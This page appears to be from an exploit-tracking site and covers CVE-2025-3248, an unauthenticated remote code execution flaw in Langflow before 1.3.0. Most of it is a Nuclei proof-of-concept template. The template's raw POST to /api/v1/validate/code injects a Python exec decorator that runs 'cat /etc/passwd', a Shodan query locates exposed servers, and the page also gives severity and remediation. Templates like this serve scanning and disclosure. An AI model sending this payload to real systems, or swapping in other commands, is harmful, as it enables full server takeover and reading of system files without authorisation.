CVE-2025-3248: Langflow AI - Unauthenticated Remote Code Execution

2025-08-01 Langflow AI PoC Public

Description

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

PoC

id: CVE-2025-3248

info:
  name: Langflow AI - Unauthenticated Remote Code Execution
  author: nvn1729
  severity: critical
  description: |
    Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
  impact: |
    Unauthenticated attackers can execute arbitrary code through crafted POST requests to the /api/v1/validate/code endpoint, achieving complete server compromise.
  remediation: |
    Upgrade to Langflow version 1.3.0 or later that properly validates user input before passing it to code execution functions.
  reference:
    - https://github.com/langflow-ai/langflow/pull/6911
    - https://github.com/langflow-ai/langflow/releases/tag/1.3.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-3248
    cwe-id: CWE-306
    epss-score: 0.9999
    epss-percentile: 0.99984
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Langflow"
  tags: cve,cve2025,python,rce,injection,kev,langflow,vkev,vuln

http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n  pass"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220582c008edc772b9cf4d8f5ffa1623b034fac326ac408113d2611845ec12a46f90221009691929beaedece715c70b6e201738af84a50fffc7d0113d01a5f4dd622c1541:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities